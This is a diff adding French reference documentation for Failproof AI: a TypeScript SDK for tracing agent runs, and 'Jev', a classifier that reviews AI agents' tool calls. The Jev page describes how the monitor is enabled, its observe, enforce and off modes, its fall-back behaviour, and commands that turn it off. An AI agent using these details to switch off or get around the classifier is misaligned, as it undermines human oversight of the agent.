\ No newline at end of file
diff --git a/docs/fr/reference/custom-agents-typescript.mdx b/docs/fr/reference/custom-agents-typescript.mdx
new file mode 100644
index 000000000..f976d6f47
--- /dev/null
+++ b/docs/fr/reference/custom-agents-typescript.mdx
@@ -0,0 +1,401 @@
+---
+title: "Agents personnalisés (TypeScript)"
+description: "Configuration, le catalogue d'événements, les scopes et les adaptateurs de framework pour @failproofai/sdk."
+icon: "square-js"
+---
+
+Ce que fait chaque paramètre, méthode et champ du SDK TypeScript. Si vous instrumentez pour la première fois, commencez par le guide — cette page sert de référence.
+
+
+
+ Installation, instrumentation, les méthodes d'événements, un exemple concret et les problèmes courants.
+
+
+ Les mêmes événements, le même format de transmission, le même spool — depuis Python.
+
+
+
+Node 20.9 ou supérieur. ESM et CommonJS. Aucune dépendance d'exécution.
+
+
+ Ce SDK et celui de Python écrivent **les mêmes événements dans le même spool**. Une flotte avec des agents Node et des agents Python produit un seul ensemble de sessions, pas deux, et rien dans le tableau de bord ne les distingue. Choisissez par service, pas par entreprise.
+
+
+## Installation
+
+```bash
+npm install @failproofai/sdk
+```
+
+```ts
+import * as failproofai from "@failproofai/sdk";
+
+await failproofai.agent("planner", { goal: question }, async () => {
+ const hits = await failproofai.toolCall("web_search", { input: { q } }, () => search(q));
+});
+```
+
+Les adaptateurs de framework sont inclus dans le package lui-même. Les frameworks sont des **dépendances pair optionnelles** — déclarées pour que les plages de versions supportées soient visibles, jamais installées à votre place, et importées uniquement lorsque vous appelez `instrument()`.
+
+## Connecter le daemon Failproof
+
+Identique au SDK Python : créez une clé `events:add` sous **Admin → Keys**, puis [connectez le daemon](/fr/start/setup#connect-a-machine-to-cloud) sur la machine agent. Le SDK écrit sur disque ; le daemon expédie.
+
+## Configuration
+
+```ts
+failproofai.configure({
+ environment: "production",
+ flushInterval: 0.5,
+ baseDir: undefined,
+});
+```
+
+| Option | Ce qu'elle fait |
+| --- | --- |
+| `environment` | Le libellé sur chaque événement — `production`, `staging`, `prod-eu`. Par défaut `dev`. |
+| `flushInterval` | La fréquence à laquelle le timer écrit sur disque, en secondes. Par défaut `0.5`. |
+| `baseDir` | L'emplacement d'écriture. Par défaut le spool du daemon, ce qui convient sauf si vous savez pourquoi modifier. |
+
+Rien n'est appliqué si la validation échoue, donc un appel rejeté laisse le SDK exactement dans son état précédent plutôt qu'avec un nouveau `baseDir` et l'ancien intervalle.
+
+Configuration via variable d'environnement :
+
+| Variable | Ce qu'elle fait |
+| --- | --- |
+| `AGENTEYE_ENVIRONMENT` | Définit `environment` sans modification du code. Une option `configure()` a la priorité. |
+| `FAILPROOFAI_HOME` | Déplace la racine Failproof AI qui contient le spool. |
+| `FAILPROOFAI_SDK_LOG_LEVEL` | `debug`, `info`, `warn` (par défaut), `error`, `silent`. |
+| `FAILPROOFAI_SDK_STRICT` | `1` fait lever une exception sur les erreurs d'instrumentation au lieu de les journaliser. |
+| `FAILPROOFAI_SDK_STRICT_INTEGRATIONS` | `1` fait lever une exception sur un problème de compatibilité de framework au lieu d'avertir et de continuer. |
+
+
+ **Pas de virgules dans `environment`.** L'ingestion découpe ce champ sur les virgules pour construire ses filtres et ignore tout événement dont le libellé en contient une — toute une exécution peut disparaître silencieusement. Écrivez `prod-eu`, pas `prod,eu`.
+
+ `configure({ environment: "prod,eu" })` lève une exception pour que vous le découvriez immédiatement. `AGENTEYE_ENVIRONMENT` ne peut pas lever d'exception — rien ne vous appelle — donc il avertit une fois et revient à `dev`.
+
+
+Redirigez les lignes de log propres au SDK vers votre logger avec `failproofai.setLogger({ debug, info, warn, error })`.
+
+## Arrêt
+
+Les événements en mémoire tampon sont vidés lors de `process.on("exit")`.
+
+Un processus tué par un signal n'atteint jamais ce point, et le comportement par défaut de Node pour `SIGTERM` est de terminer sans exécuter les gestionnaires de sortie — ainsi, un agent containerisé perd ce que le dernier intervalle n'avait pas encore écrit.
+
+
+ **Ce SDK n'installera pas de gestionnaire de signal à votre place.** En enregistrer un modifie le comportement de votre processus : un listener supprime la terminaison par défaut de Node, donc une bibliothèque qui en ajouterait un empêcherait silencieusement Ctrl-C de fonctionner. Ajoutez le vôtre :
+
+ ```ts
+ for (const signal of ["SIGINT", "SIGTERM"] as const) {
+ process.once(signal, () => {
+ failproofai.flushSync();
+ process.exit(0);
+ });
+ }
+ ```
+
+
+Un script de courte durée ou un gestionnaire serverless devrait `await failproofai.flush()` avant de retourner — l'intervalle seul ne garantit pas la livraison.
+
+## Identité
+
+Chaque événement appartient à une session et à un agent. **Les scopes remplissent les deux**, donc vous les passez rarement :
+
+```ts
+await failproofai.session(async () => {
+ await failproofai.agent("planner", async () => {
+ failproofai.event.toolUse({ toolName: "search", toolCallId: "c1" });
+ });
+});
+```
+
+Passer `sessionId` ou `agentId` explicitement fonctionne toujours et a la priorité. Si ni l'un ni l'autre n'est lié ou passé, l'appel lève une exception plutôt qu'émettre un événement que Cloud ignorerait silencieusement.
+
+
+ L'identité repose sur `AsyncLocalStorage`. Elle suit `await`, `.then()`, les timers et tout callback créé à l'intérieur du scope. Elle ne suit **pas** un callback stocké lors d'une exécution et invoqué lors d'une autre, ni le travail transmis via une frontière `worker_threads` — encapsulez-les dans `failproofai.propagate()` ou leurs événements arriveront sans être rattachés.
+
+
+### Scopes
+
+| Scope | Émet | Retourne |
+| --- | --- | --- |
+| `session(body)` | rien — identité uniquement | ce que retourne `body` |
+| `agent(id, options?, body)` | `agent_start`, puis `agent_end` | ce que retourne `body` |
+| `toolCall(name, options?, body)` | `tool_use`, puis `tool_result` | ce que retourne `body` |
+
+Un body synchrone reste synchrone : `agent("x", () => 1)` retourne `1`, pas une promesse.
+
+`toolCall` enregistre la valeur résolue du body comme `output` de l'outil, sauf si vous assignez `call.output` vous-même.
+
+
+
+| Ce qui s'est passé | Événements | `outcome` |
+| --- | --- | --- |
+| le bloc a retourné | `agent_end` | `"success"`, ou votre `outcome` |
+| le bloc a levé une exception | `error`, puis `agent_end` | `"failed"` |
+| une `AbortError` | `agent_end` uniquement | `"cancelled"` |
+
+L'erreur est toujours re-levée.
+
+Un échec d'outil est enregistré sur la feuille — `tool_result` avec une chaîne `error` — et n'émet **aucun** événement `error` au niveau de l'exécution. Celui que la boucle agent intercepte n'est pas un échec d'exécution, et celui qui se propage est signalé exactement une fois, par l'`agent()` englobant.
+
+
+
+
+
+Quand le travail n'est pas une seule fonction — un scope ouvert dans un constructeur et fermé dans un teardown, ou qui chevauche un flux de contrôle existant :
+
+```ts
+{
+ using span = failproofai.agent.open("planner", { goal });
+ using call = failproofai.toolCall.open("search", { input: { q } });
+ call.call.output = await search(q);
+} // tool_result, then agent_end
+```
+
+Les deux formes émettent des événements identiques octet par octet. Préférez la forme avec callback : elle s'exécute dans `AsyncLocalStorage.run()`, donc il n'y a rien à dérouler et toute la classe de bugs « ouvert ici, fermé ailleurs » est inatteignable.
+
+Un bloc `using` qui intercepte sa propre défaillance la signale avec `span.fail(error)` — le disposer n'a pas de canal d'exception propre.
+
+
+
+## Catalogue d'événements
+
+Les mêmes quinze méthodes que le SDK Python, en camelCase. La plupart viennent par **paires** — vous appelez l'ouvreur, puis le fermeur, et le SDK mesure l'écart.
+
+| | Ouvre | Ferme |
+| --- | --- | --- |
+| **Agents** | `agentStart` | `agentEnd` |
+| | `agentPause` | `agentResume` |
+| **Modèles** | `modelRequest` | `modelResponse` |
+| **Outils** | `toolUse` | `toolResult` |
+| **Hooks** | `hookTriggered` | `hookCompleted` |
+| **Humains** | `humanWait` | `humanInput` |
+
+Trois sont autonomes : `error`, `humanPause`, `humanInterrupt`.
+
+
+
+Chaque méthode accepte également `sessionId` et `agentId`, que les scopes remplissent pour vous. Tout ce qui est omis est supprimé plutôt qu'envoyé comme JSON `null`.
+
+| Méthode | Requis | Optionnel |
+| --- | --- | --- |
+| `agentStart` | — | `goal`, `parentId` |
+| `agentEnd` | — | `outcome`, `summary` |
+| `agentPause` | `pauseId` | `reason`, `userId` |
+| `agentResume` | `pauseId` | `reason`, `userId` |
+| `modelRequest` | — | `model`, `messages`, `system`, `tools`, `requestId` |
+| `modelResponse` | — | `model`, `stopReason`, `inputTokens`, `outputTokens`, `content`, `role`, `requestId` |
+| `toolUse` | `toolName`, `toolCallId` | `input` |
+| `toolResult` | `toolName`, `toolCallId` | `output`, `error` |
+| `hookTriggered` | `hookName`, `hookId` | `triggerEvent`, `input` |
+| `hookCompleted` | `hookName`, `hookId` | `outcome`, `output`, `error` |
+| `error` | `errorType`, `message` | `traceback` |
+| `humanWait` | `inputId` | `prompt`, `options`, `reason` |
+| `humanInput` | `inputId` | `response` |
+| `humanPause` | — | `reason`, `userId` |
+| `humanInterrupt` | — | `reason`, `userId`, `atStep` |
+
+Toute autre clé que vous ajoutez devient un champ de payload personnalisé. Préfixez avec `fw_*` tout ce qui est spécifique au framework ; un nom qui entre en conflit avec un champ déclaré est refusé plutôt que d'écraser silencieusement une colonne promue.
+
+
+
+
+ **`duration_ms` est calculé, pas accepté.** Les quatre méthodes de fermeture mesurent l'écart depuis leur ouvreur et refusent un `duration_ms` fourni par l'appelant — une durée déclarée ne peut pas être falsifiée.
+
+ Les paires sont associées sur la **session** et l'identifiant, jamais sur l'agent. Un outil ouvert sous `planner` et fermé sous `worker` forme quand même une paire, ce que font effectivement les exécutions multi-agents imbriquées.
+
+
+## Adaptateurs de framework
+
+```ts
+await failproofai.instrument(); // whatever it can find
+await failproofai.instrument("langchain"); // exactly one
+failproofai.uninstrument(); // put everything back
+```
+
+| Framework | Supporté | Comment il s'attache |
+| --- | --- | --- |
+| **LangChain.js / LangGraph.js** | `@langchain/core` 0.3 – 1.x, LangGraph.js 0.4 – 1.x | `CallbackManager.configure`, donc chaque `invoke`/`stream`/`batch` est couvert sans passer `callbacks:` nulle part — ou passez `langchainHandler()` vous-même sans rien patcher. |
+| **Vercel AI SDK** | `ai` 4 – 7 | `telemetry()` au site d'appel, ou `instrument("ai")` pour tout le processus sur `ai` 7 (sur 4–6, c'est opt-in — voir ci-dessous). |
+| **Mastra** | `@mastra/core` 0.20 – 1.x | `Agent.generate`/`.stream`, le modèle de l'agent et la résolution des outils, ainsi que le moteur d'exécution de workflow run/step. |
+| **LlamaIndex.TS** | `llamaindex` 0.11.4 – 0.x | `Settings.callbackManager` (abonné) plus `AgentWorkflow.runStream`, pour les exécutions de workflow et leurs étapes. |
+
+Chaque plage est testée contre de vraies versions de framework, aux deux extrémités, en tant que module ES et CommonJS, à chaque exécution CI.
+
+Le mapping est celui du SDK Python, donc le même programme dessine le même arbre dans les deux langages. Un élément est un **agent** uniquement s'il possède une boucle de décision LLM — un graphe ou une exécution de chaîne, un appel `generateText`/`streamText` de l'AI SDK, un agent Mastra, une exécution d'agent LlamaIndex. Un nœud LangGraph ou une étape de workflow est un **hook** (`hook_triggered`/`hook_completed`), jamais un agent imbriqué. Les appels modèle sont des paires `model_request`/`model_response` avec les comptages de tokens ; les appels d'outils portent l'identifiant d'appel d'outil propre au modèle. Un échec est enregistré une seule fois, sur l'événement où il s'est produit.
+
+Un adaptateur qui échoue à s'installer est journalisé et ignoré ; les autres s'installent quand même, car un LlamaIndex défaillant ne doit pas vous coûter LangGraph.
+
+
+ `instrument()` sans argument détecte un framework selon qu'il **se résout**, pas selon qu'il est déjà importé — Node n'expose pas d'équivalent de `sys.modules` de Python pour les modules ES. Un framework que vous avez installé mais n'utilisez pas sera importé et patché. Nommez celui que vous voulez si cela a de l'importance.
+
+
+
+ La plupart de ces frameworks livrent un build ES module et un build CommonJS, que Node charge comme deux copies indépendantes. Les adaptateurs patchent la copie que charge votre application (et la copie CommonJS également si quelque chose a déjà fait un `require`), donc les deux systèmes de modules fonctionnent. Un framework **bundlé dans votre propre sortie** par esbuild ou webpack est hors de portée — utilisez les helpers au site d'appel : `langchainHandler()`, `telemetry()`, `wrapTool()`.
+
+
+### LangChain sans patching
+
+```ts
+import { langchainHandler } from "@failproofai/sdk/langchain";
+await graph.invoke(input, { callbacks: [langchainHandler()] });
+```
+
+Le handler fonctionne avec ou sans `instrument()` et n'enregistre jamais en double. `instrument("langchain")` accepte `sessionId`, `captureContent`, `includeChains`, `graphCallbacks` et `captureLimit`, comme l'adaptateur Python ; `metadata: { failproofai_sdk_session_id }` sur un appel sélectionne la session pour cette invocation.
+
+### Vercel AI SDK
+
+L'AI SDK exporte des fonctions simples depuis un module ES, et un namespace de module ES est immuable par spécification — il n'y a nulle part où patcher. Il utilise les points d'extension que le SDK lui-même documente :
+
+```ts
+import { telemetry } from "@failproofai/sdk/ai";
+
+const { text } = await generateText({
+ model,
+ prompt,
+ experimental_telemetry: telemetry({ functionId: "answer-question" }),
+ // on ai 7, `telemetry: telemetry({ … })` — the same object, the new name
+});
+```
+
+C'est l'intégration complète : une span d'agent, une paire model request/response par étape avec les comptages de tokens, et chaque appel d'outil. Un seul site d'appel fonctionne sur chaque version majeure — `ai` 4–6 lit le tracer qu'il porte, `ai` 7 l'intégration de télémétrie.
+
+`instrument("ai")` fait la même chose à l'échelle du processus **sur `ai` 7** : chaque appel, via la liste d'intégrations de télémétrie globale de l'AI SDK, qui est additive et ne prend rien à personne d'autre.
+
+**Sur `ai` 4–6, `instrument("ai")` n'enregistre rien par lui-même, et journalise un avertissement en ce sens.** Le seul hook à l'échelle du processus que ces versions majeures possèdent est le fournisseur de tracer OpenTelemetry global — un slot unique qu'OpenTelemetry refuse de céder une fois pris. Enregistrer le nôtre refuserait silencieusement votre propre `NodeSDK.start()` ultérieur au démarrage et enverrait vos spans http/database vers un tracer qui n'exporte rien. Utilisez `telemetry()` au site d'appel ou `wrapModel` là. Si le processus ne fait tourner aucun OpenTelemetry propre, optez-en avec `instrument("ai", { registerGlobalTracer: true })` : il enregistre alors chaque appel qui passe `experimental_telemetry: { isEnabled: true }`, et ne prend le slot que s'il est encore libre. `registerGlobalTracer: false` conserve le comportement par défaut et réduit l'avertissement au silence.
+
+Si vous préférez wrapper le modèle une seule fois, `wrapModel` ne voit que les appels modèle, car les appels d'outils se produisent au-dessus de la couche modèle. Un modèle wrappé appelé sans rien autour est enregistré comme sa propre exécution. Un appel en streaming se ferme de la façon dont le stream s'arrête — `stop_reason: "cancelled"` quand le consommateur l'annule, `"error"` avec l'erreur quand il échoue en cours de route :
+
+```ts
+import { wrapModel } from "@failproofai/sdk/ai";
+const model = await wrapModel(openai("gpt-4o"));
+```
+
+Utiliser les deux est correct : le middleware détecte que l'appel est déjà enregistré et se décharge, donc chaque appel est enregistré une seule fois.
+
+`functionId` nomme la span d'agent. Gardez-le à faible cardinalité — il atterrit dans `agent_id`, la facette principale du tableau de bord.
+
+### Next.js
+
+`next build` bundle les dépendances de votre serveur par défaut, et un framework bundlé dans le build est une copie que `instrument()` ne peut pas atteindre. Wrappez la config une fois et appelez `instrument()` depuis le hook de démarrage de Next :
+
+```ts
+// next.config.ts
+import { withFailproofai } from "@failproofai/sdk/next";
+export default withFailproofai({ /* your config */ });
+```
+
+```ts
+// instrumentation.ts
+export async function register() {
+ if (process.env.NEXT_RUNTIME !== "nodejs") return;
+ const failproofai = await import("@failproofai/sdk");
+ await failproofai.instrument();
+}
+```
+
+`withFailproofai` ajoute LangChain, Mastra, LlamaIndex et le SDK lui-même à `serverExternalPackages`, en conservant votre liste existante. Sans cela, `instrument()` avertit une fois par framework qu'il ne peut pas atteindre plutôt que d'échouer silencieusement ; si vous listez les packages vous-même, définissez `FAILPROOFAI_NEXT_EXTERNALS=1`. Le Vercel AI SDK et les helpers au site d'appel fonctionnent dans les deux cas. Une route Edge reçoit un build no-op : importer le SDK est sûr et n'enregistre rien.
+
+### Comptages de tokens sur les appels en streaming
+
+Les APIs compatibles OpenAI ne rapportent l'usage sur un stream que lorsque le client le demande. LangChain et le Vercel AI SDK le demandent ; pour LlamaIndex, passez `additionalChatOptions: { stream_options: { include_usage: true } }` à son LLM `OpenAI`, et pour Mastra construisez le modèle avec l'usage activé (par exemple `createOpenAICompatible({ includeUsage: true })`). Sinon, les appels modèle en streaming ne portent aucun comptage de tokens.
+
+### Runtimes
+
+Node ≥ 20.9, Bun et Deno — chaque framework, en module ES et CommonJS, est testé sur chacun par rapport à la trace de Node. Le SDK s'exécute aux côtés du daemon `failproofaid`, qui expédie ce qu'il écrit.
+
+## Votre propre agent — sans framework
+
+Pour une boucle d'agent que vous avez écrite vous-même, ou un framework sans adaptateur. Vous émettez les événements avec la même API que les adaptateurs utilisent en dessous, donc la trace a la même forme et la même qualité.
+
+Vous n'avez pas besoin de savoir comment l'agent est organisé. Tout agent fait à la main possède déjà trois endroits, quelles que soient les fonctions qu'il appelle, et ces trois constituent toute l'intégration :
+
+| Où | Quoi ajouter | Émet |
+| --- | --- | --- |
+| Là où **une exécution** commence et se termine | `failproofai.agent("name", { goal }, async () => …)` | `agent_start` / `agent_end` |
+| La **fonction unique qui appelle le modèle** | `event.modelRequest` avant, `event.modelResponse` après — les deux moitiés, même en cas d'échec | une paire par tour de modèle |
+| La **fonction unique qui exécute les outils** | `failproofai.toolCall(name, { toolCallId, input }, () => run())` | `tool_use` / `tool_result` |
+
+```ts
+async function callModel(messages) {
+ const requestId = randomUUID();
+ const started = Date.now();
+ failproofai.event.modelRequest({ model: MODEL, requestId, messages });
+ try {
+ const reply = await client.chat.completions.create({ model: MODEL, messages, tools });
+ failproofai.event.modelResponse({
+ model: reply.model, requestId, stopReason: reply.choices[0].finish_reason,
+ inputTokens: reply.usage?.prompt_tokens, outputTokens: reply.usage?.completion_tokens,
+ duration_ms: Date.now() - started,
+ });
+ return reply.choices[0].message;
+ } catch (error) {
+ failproofai.event.modelResponse({ model: MODEL, requestId, stopReason: "error",
+ error: String(error), duration_ms: Date.now() - started });
+ throw error;
+ }
+}
+
+async function dispatch(call) {
+ const input = JSON.parse(call.function.arguments);
+ return failproofai.toolCall(call.function.name, { toolCallId: call.id, input },
+ () => runTool(call.function.name, input));
+}
+
+await failproofai.agent("inventory", { goal: question }, async () => {
+ for (;;) {
+ const message = await callModel(messages);
+ if (!message.tool_calls?.length) return message.content;
+ for (const call of message.tool_calls) await dispatch(call);
+ }
+});
+```
+
+L'identité est ambiante : tout ce qui est à l'intérieur d'`agent()` atterrit sur la session de cette exécution sans prendre d'identifiant, et rien d'autre dans le programme ne change — y compris ce que l'agent écrit déjà dans sa propre base de données.
+
+- **Un service ou un worker :** passez votre propre identifiant de requête ou de job comme `sessionId`, afin qu'une session sur le tableau de bord et l'enregistrement dans vos propres logs ou base de données soient la même chaîne.
+- **Sous-agents :** imbriquez les appels `agent()`. Le plus intérieur rejoint la session avec le plus extérieur comme `parent_id`.
+- **Émettez les paires.** Un `modelRequest` sans `modelResponse` est une span que le tableau de bord affiche comme s'exécutant indéfiniment — d'où le `catch`.
+
+[`sdk/typescript/examples/research-agent.ts`](https://github.com/FailproofAI/failproofai/blob/main/sdk/typescript/examples/research-agent.ts) dans le dépôt est la version complète et exécutable : une vraie boucle d'outils OpenAI instrumentée exactement comme ceci, exécutée en CI à chaque changement en tant que module ES et CommonJS.
+
+## Évaluations
+
+```ts
+import { Evaluator, EvalResult, Score } from "@failproofai/sdk/evaluator";
+
+export const app = new Evaluator({ name: "my-evals", version: "1" });
+
+app.eval("tool_success_rate", { version: "1" }, (session) => {
+ const results = session.eventsOfType("tool_result");
+ const failures = results.filter((event) => event.payload.error != null).length;
+ return new EvalResult({
+ score: new Score(results.length === 0 ? 1 : 1 - failures / results.length),
+ reasoning: `${failures} of ${results.length} tool calls failed`,
+ });
+});
+```
+
+```bash
+FAILPROOFAI_EVALUATOR_URL=… FAILPROOFAI_EVALUATOR_TOKEN=… \
+ npx failproofai-evaluator ./my-evals.js
+```
+
+Consultez la [référence du SDK Evaluator](/fr/reference/evaluator-sdk) pour le protocole, les paramètres du worker et les types de résultats.
+
+
+ **Une évaluation doit céder la main.** Une fonction synchrone qui ne retourne jamais bloque l'unique thread de Node, et aucun timeout ne peut se déclencher pendant ce temps. Écrivez des évaluations `async`.
+
+
+## Ce qu'il ne fera pas à votre processus
+
+| | |
+| --- | --- |
+| **Bloquer votre boucle agent** | Les événements vont dans une file en mémoire ; un timer les écrit. Le timer est `unref`'d, donc importer ce package n'empêche jamais un script de se terminer. |
+| **Croître sans limite** | La file est plafonnée par le nombre *et* par les octets mesurés. Au-delà de l'un ou l'autre, les événements les plus anciens sont supprimés et un avertissement le signale — une panne de télémétrie ne doit pas devenir un kill OOM. |
+| **Faire tomber le processus** | Un événement non encodable est supprimé seul, pas le lot autour de lui. Un getter qui lève, une référence circulaire, un `BigInt`, un surrogate isolé : chacun est géré plutôt que propagé. |
+| **Laisser un lot à moitié écrit** | Le contenu est `fsync`é avant un renommage atomique, le répertoire est `fsync`é après, et un échec d'écriture nettoie son fichier temporaire. |
+| **Laisser les transcripts lisibles** | Les lots sont en `0600` dans un répertoire `0700`. Ils portent des objectifs, des prompts, des arguments d'outils et des sorties d'outils. |
+| **Expédier des credentials** | Les clés API, tokens, JWTs, headers bearer et assignations de forme secrète sont expurgés avant que les octets atteignent le disque. Le daemon expurge à nouveau avant l'upload. |
\ No newline at end of file
diff --git a/docs/fr/reference/jev-cloud.mdx b/docs/fr/reference/jev-cloud.mdx
new file mode 100644
index 000000000..03f4ee676
--- /dev/null
+++ b/docs/fr/reference/jev-cloud.mdx
@@ -0,0 +1,136 @@
+---
+title: "Jev via FailproofAI Cloud"
+description: "Clés machine Cloud, état de connexion, limites et comportement en cas d'échec pour la révision des politiques Jev en direct."
+icon: "cloud"
+---
+
+Ceci est la référence de la route Cloud pour les [politiques Jev](/fr/policies/jev). Jev, le classificateur de TypeSafe, analyse chaque appel d'outil par rapport à ce que vous avez réellement demandé et répond en complément de vos politiques, jamais à leur place. Via **FailproofAI Cloud**, une machine connectée utilise Jev avec la même clé qu'elle utilise déjà pour se connecter : aucun compte TypeSafe, aucune deuxième clé, aucun point de terminaison à configurer. Chaque appel est débité sur l'allocation du plan existant de votre organisation.
+
+Tout ce que fait Jev reste inchangé par rapport à la [configuration avec votre propre clé](/fr/reference/jev-providers) : les politiques strictes restent définitives, le refus d'une politique révisable n'est levé que lorsque Jev a été interrogé précisément sur cette préoccupation, et toute défaillance revient au résultat du regex pour cet appel.
+
+
+Nécessite **failproofai 1.0.8-beta.0** ou une version ultérieure. La version 1.0.7 ne dispose pas de Jev, même si elle est classée au-dessus des betas 1.0.7. Sans configuration Jev, rien ne change : les hooks exécutent les politiques regex exactement comme avant.
+
+
+## Avant de commencer
+
+Installez Failproof AI sur la machine où votre agent s'exécute et attachez ses hooks à un [harnais pris en charge](/fr/reference/harnesses). Si vous partez de zéro, suivez le [démarrage rapide](/fr/start/quickstart) jusqu'à l'installation des hooks. Vérifiez la CLI installée avec `failproofai --version` ; mettez-la à jour si elle est antérieure à Jev. Vous avez également besoin d'accéder à la page **Administration → Clés** de votre organisation pour créer une clé machine.
+
+Jev examine les appels d'outils nommés à la porte `PreToolUse` ou `PermissionRequest`. Il n'examine pas chaque événement d'une session. Pour voir Jev lever un refus de politique, vous avez besoin d'une politique installée marquée [révisable](/fr/policies/authority) ; tous les autres refus de politique restent définitifs.
+
+## Activation
+
+1. **Créez une clé avec Jev.** Dans le tableau de bord FailproofAI Cloud, ouvrez **Administration → Clés → Créer une clé** et choisissez le profil **machine**. Il accorde les trois permissions dont une machine a besoin : `events:add` (envoyer l'activité), `policies:pull` (recevoir les politiques) et `jev:evaluate` (Jev, débité sur le plan de votre organisation). Une clé ne peut pas porter `jev:evaluate` sans les deux autres.
+2. **Connectez la machine** avec cette clé. Lisez son secret à usage unique à l'invite, puis exécutez la commande de configuration complète :
+
+ ```bash
+ read -rs FAILPROOFAI_CLOUD_TOKEN && export FAILPROOFAI_CLOUD_TOKEN
+ failproofai config
+ ```
+
+ `failproofai config` installe le daemon, attache les hooks pour les CLI d'agents qu'il trouve, et connecte la machine. La variable d'environnement évite que la clé apparaisse dans les arguments de la commande et dans l'historique de votre shell. Si votre harnais a été installé ultérieurement, [attachez-le explicitement](/fr/start/quickstart).
+
+ Si votre organisation fait tourner sa propre instance FailproofAI Cloud plutôt que la version hébergée, ajoutez son adresse : `--url https://` (ou exportez `FAILPROOFAI_CLOUD_URL`). Sans cela, la clé est vérifiée contre le service hébergé et la connexion échoue. Si le certificat de cet hôte provient d'une CA privée, installez la CA dans le magasin de confiance système de la machine (par exemple avec `update-ca-certificates`), pas seulement dans `NODE_EXTRA_CA_CERTS` : le daemon qui envoie les événements et récupère les politiques lit le magasin système. Consultez [Dépannage](/fr/reference/troubleshooting).
+
+C'est tout. La connexion stocke la clé et, lorsque la machine n'a **pas encore** de configuration Jev, active Jev via FailproofAI Cloud en mode **observe** : une fois qu'un pack lui fournit des vérifications, Jev est interrogé sur chaque appel d'outil soumis à contrôle et ses verdicts sont enregistrés, mais c'est le résultat de vos politiques qui est appliqué. La sortie l'indique :
+
+```text
+ Jev on through FailproofAI Cloud, in observe mode: logged, not enforced (~/.failproofai/jev.json).
+```
+
+Jev ne demande toujours rien tant qu'un pack ne lui fournit pas de vérifications. Failproof AI n'en fournit aucune ; tant qu'aucun pack installé n'en déclare, la sortie ajoute une ligne le précisant, et `failproofai jev status` le rappelle. Installez-les avec :
+
+```bash
+failproofai policies add FailproofAI/jev-policies
+```
+
+**Avec `--no-transcripts`, la connexion n'active pas Jev.** Jev envoie chaque appel d'outil vérifié et l'invite récente à FailproofAI Cloud, ce qui représente plus qu'une connexion en mode décisions uniquement ne devrait envoyer. La clé est néanmoins stockée, et la sortie indique que Jev est disponible et comment l'activer :
+
+```bash
+failproofai jev setup --provider failproofai
+```
+
+Cela ne désactive pas non plus Jev **si celui-ci est déjà actif**. Si le fichier `jev.json` de la machine fait déjà tourner Jev via FailproofAI Cloud, il est laissé tel quel, et la sortie indique que Jev continue d'envoyer chaque appel d'outil vérifié et l'invite récente, et que `failproofai jev setup --mode off` permet de le désactiver.
+
+
+La connexion **n'écrase jamais** un `~/.failproofai/jev.json` existant. Si vous utilisez déjà votre propre point de terminaison Jev, il continue d'être utilisé, et la sortie indique que le fichier a été laissé tel que configuré — et, lorsque ce fichier laisse Jev désactivé (refusé ou désactivé manuellement), l'indique et explique comment y remédier. Pour basculer cette machine vers FailproofAI Cloud, exécutez `failproofai jev setup --provider failproofai`.
+
+
+## Observe, enforce ou off
+
+Commencez en mode observe, observez ce que Jev aurait fait sur la page des politiques, puis laissez-le agir :
+
+```bash
+failproofai jev setup --mode enforce # Les verdicts de Jev s'appliquent : il peut lever un refus révisable et ajouter les siens
+failproofai jev setup --mode observe # Jev est interrogé et journalisé ; c'est le résultat de vos politiques qui est appliqué
+failproofai jev setup --mode off # Conserve la configuration, cesse d'interroger Jev
+```
+
+Le même commutateur se trouve dans le tableau de bord local : **Settings → Jev** dispose d'un interrupteur on/off et observe/enforce. Il réécrit uniquement le mode. Les hooks lisent la configuration à chaque appel d'outil, donc un changement s'applique dès l'appel suivant, sans redémarrage.
+
+## Vérifier son fonctionnement
+
+```bash
+failproofai jev status
+failproofai jev test
+```
+
+`status` affiche le fournisseur en tant que **FailproofAI Cloud**, l'hôte Cloud auquel la machine est connectée, le mode, et la source de la clé comme **connexion FailproofAI Cloud**, jamais la clé elle-même. Lorsqu'un `jev.json` FailproofAI Cloud est en place mais que Jev ne peut pas s'exécuter, il en indique la raison :
+
+| `status` indique | `status --json` | Signification |
+| --- | --- | --- |
+| **off — no Jev key is stored for this machine's FailproofAI Cloud connection** | `key-lacks-jev` | La machine est connectée, mais aucune clé Jev n'y est stockée : la clé ne dispose pas de `jev:evaluate`, ou la connexion n'a pas pu le confirmer. Exécutez à nouveau `failproofai config` avec la clé dans `FAILPROOFAI_CLOUD_TOKEN` ; si elle ne dispose pas de la permission, utilisez une clé **machine**. |
+| **off — this machine is not connected to FailproofAI Cloud** | `not-connected` | Il n'y a pas de connexion FailproofAI Cloud sur cette machine à laquelle la clé Jev pourrait appartenir. |
+
+Après `failproofai config --disconnect`, il n'y a plus de `jev.json` FailproofAI Cloud (sauf s'il était désactivé, ce qui est conservé), donc `status` indique simplement que Jev est désactivé. `status --json` contient les mêmes informations (`provider: "failproofai"`, `keySource: "cloud"`, `cloudConnected`, `keyCarriesJev`), y compris lorsque la configuration est absente ou refusée. `permissions` correspond toujours à celui de `jev.json` ; un refus concernant `credentials.json` ajoute `credentialsPermissions`, et `fix` lorsqu'une commande suffit à y remédier. `test` envoie une requête réelle et rapporte sa latence et la version de Jev qui a répondu. Il quitte avec le code 1, et l'indique dans son titre, lorsque la réponse arrive après le délai d'expiration du hook (les hooks enregistreraient `timeout`) ou répond incorrectement à sa question de vérification.
+
+Le panneau **Settings → Jev** du tableau de bord affiche également la **connexion FailproofAI Cloud** : l'organisation dans laquelle la machine est enregistrée et si sa clé porte Jev. Il est lu depuis les fichiers propres à la machine, sans appel réseau.
+
+## Vérifier un appel réel
+
+Démarrez une nouvelle session dans l'agent avec hooks. Demandez-lui d'utiliser son outil de lecture de fichiers sur `README.md` et de rapporter le titre. Confirmez que la session contient cet appel d'outil, puis exécutez à nouveau `failproofai jev status` : son compteur d'appels évalués récents devrait augmenter. Ouvrez **Policies → Activity** dans le [tableau de bord local](/fr/reference/local-dashboard#review-policy-activity) pour inspecter le verdict Jev et le mode de cet appel. Dans Cloud, la page **Policies** de l'organisation affiche les résultats Jev pour l'activité livrée. En mode observe, le verdict est enregistré comme **would-have** et c'est le résultat de la politique qui décide de l'appel. Une levée de refus n'apparaît que lorsqu'une politique révisable correspond et que Jev a levé ses vérifications nommées.
+
+## Ce qui parvient à la page des politiques
+
